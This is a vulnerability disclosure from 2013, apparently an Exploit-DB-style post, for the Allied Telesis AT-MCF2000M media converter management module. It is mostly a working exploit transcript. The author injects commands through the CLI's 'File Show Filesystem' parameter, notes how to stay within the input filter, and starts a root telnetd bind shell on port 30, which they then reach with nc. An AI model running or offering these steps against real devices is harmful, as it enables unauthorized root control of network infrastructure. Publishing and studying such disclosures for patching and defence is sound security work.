Allied Telesis AT-MCF2000M 3.0.2 Local Root

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[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2013-01-02 ]  
####################################################################  
# [ Allied Telesis AT-MCF2000M 3.0.2 ] Gaining Root Shell Access #  
####################################################################  
#  
# Device: "The AT-MCF2000M is the management module for the AT-MCF2000 two-slot chassis.  
# With the AT-MCF2000M management module, if there is a blade failure,  
# insertion or removal, your traffic flow will not be interupted.."  
#  
# Vendor: http://www.alliedtelesis.com/  
# Product: http://www.alliedtelesis.com/p-2265.html  
# Software Download: ftp://ftp.alliedtelesis.com/pub/medconv/mcf2000/AT-S85_S97_v302.ZIP  
#  
###################################################################  
# Vulnerability:  
  
Logging in system via ssh/telnet, is necessary to using this vulnerability.  
After logging in, user has access to client menu(/sbin/AtiCli), without access to the shell.  
User-supplied data are not validated properly. In section "File Show Filesystem=system://0/m/",  
is possible to inject command with using special characters: "|;&.  
  
Commands are limited to max 25 characters. Chars / are filtered.  
For example:  
  
# File Show Filesystem=system://0/m/";echo 11111111111111111111"  
File name can be only up to 25 alphanumeric characters.  
<>20:54:16::File Show Filesystem=system://0/m/";echo 11111111111111111111"::DENY(CLI_STRING_LENGTH_OUT_OF_RANGE)::[00.002]  
#  
# File Show Filesystem=system://0/m/";ls -al /"  
<>20:55:00::File Show Filesystem=system://0/m/";ls -al /"::DENY(CLI_INVALID_PARAMETER)::[00.002]  
  
  
Getting root access:  
  
root@debian:~# ssh 10.11.200.2  
  
--------------------------------------------------------------------------------   
Allied Telesis Media Converter  
AT-MCF2000  
--------------------------------------------------------------------------------  
Login: manager  
Password: *******  
  
Allied Telesis Media Converter - Version 3.0.2  
<No System Name>  
# ?  
COnfiguration - Configuration related commands  
DIagnostics - Diagnostics related commands  
File - File related commands  
IP - IP related commands  
Logging - Logging related commands  
Ntp - Ntp related commands  
Ping - Ping a host  
System - System related commands  
Telnet - Telnet related commands  
SNMP - Snmp related commands  
SSh - SSH related commands  
User - User management commands  
CLear - Clear the terminal screen  
Help - CLI help information  
EXit - Exit  
# File Show Filesystem=system://0/m/  
Module 0/M File System:  
-rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg  
-rw-r--r-- 1 0 0 2612 Jan 1 15:27 BM_0_2.cfg  
-rw-r--r-- 1 0 0 1355 Jan 1 15:27 MM.cfg  
-rw-r--r-- 1 0 0 310 Dec 31 13:17 file.inf  
-rw-r--r-- 1 0 0 6609 Jan 1 15:27 mcf_chassis0.cfg  
# File Show Filesystem=system://0/m/BM_0_1.cfg  
Module 0/M File System:  
-rw-r--r-- 1 0 0 2640 Jan 1 15:27 BM_0_1.cfg  
# File Show Filesystem=system://0/m/test  
Module 0/M File System:  
ls: test: No such file or directory  
  
<>18:55:19::File Show Filesystem=system://0/m/test::COMPL::[00.052]  
# File Show Filesystem=system://0/m/|id  
Module 0/M File System:  
uid=0 gid=0  
# File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30"  
Module 0/M File System:  
  
<>19:00:41::File Show Filesystem=system://0/m/|"telnetd -l${SHELL} -p30"::COMPL::[00.061]  
# File Show Filesystem=system://0/m/|"ps aux|grep telnet"  
Module 0/M File System:  
25 0 336 S /usr/sbin/telnetd -l /sbin/AtiCli  
497 0 192 S telnetd -l/bin/sh -p30  
  
<>19:01:02::File Show Filesystem=system://0/m/|"ps aux|grep telnet"::COMPL::[00.117]  
# exit  
<>19:01:40::exit::COMPL::[00.001]  
#  
logging out.  
Connection to 10.11.200.2 closed.  
  
root@debian:~# nc 10.11.200.2 30  
  
  
BusyBox v1.01 (2005.09.07-23:28+0000) Built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
/ # id  
uid=0 gid=0  
/ # uname -a  
Linux (none) 2.6.14 #2 Thu Jul 23 17:15:38 PDT 2009 ppc unknown  
/ # cat /proc/version  
Linux version 2.6.14 (schen@arun-linux) (gcc version 3.4.4) #2 Thu Jul 23 17:15:38 PDT 2009  
/ # ls -al   
drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 .  
drwxr-xr-x 15 1046 1002 1024 Jan 1 18:58 ..  
-rw-r--r-- 1 0 0 125 Jan 1 19:10 .ash_history  
-rw-r--r-- 1 0 0 0 Jan 1 13:24 1  
drwxr-xr-x 2 0 0 1024 Aug 10 2009 bin  
drwxr-xr-x 3 0 0 0 Jan 1 15:27 cfg  
drwxr-xr-x 4 0 0 2048 Aug 10 2009 dev  
drwxr-xr-x 10 0 0 1024 Jan 1 1970 etc  
drwxr-xr-x 4 0 0 1024 Aug 10 2009 lib  
drwxr-xr-x 2 0 0 12288 Aug 10 2009 lost+found  
drwxr-xr-x 3 0 0 1024 Aug 10 2009 mnt  
dr-xr-xr-x 49 0 0 0 Jan 1 1970 proc  
drwx------ 2 0 0 1024 Aug 10 2009 root  
drwxr-xr-x 2 0 0 1024 Aug 10 2009 sbin  
drwxrwxrwt 2 0 0 1024 Jan 1 19:06 tmp  
drwxr-xr-x 6 0 0 1024 Aug 10 2009 usr  
drwxr-xr-x 7 0 0 1024 Jan 1 1970 var  
/ # echo pwnd! :) & exit  
pwnd! :)  
Connection closed by foreign host.  
root@debian:~#   
  
`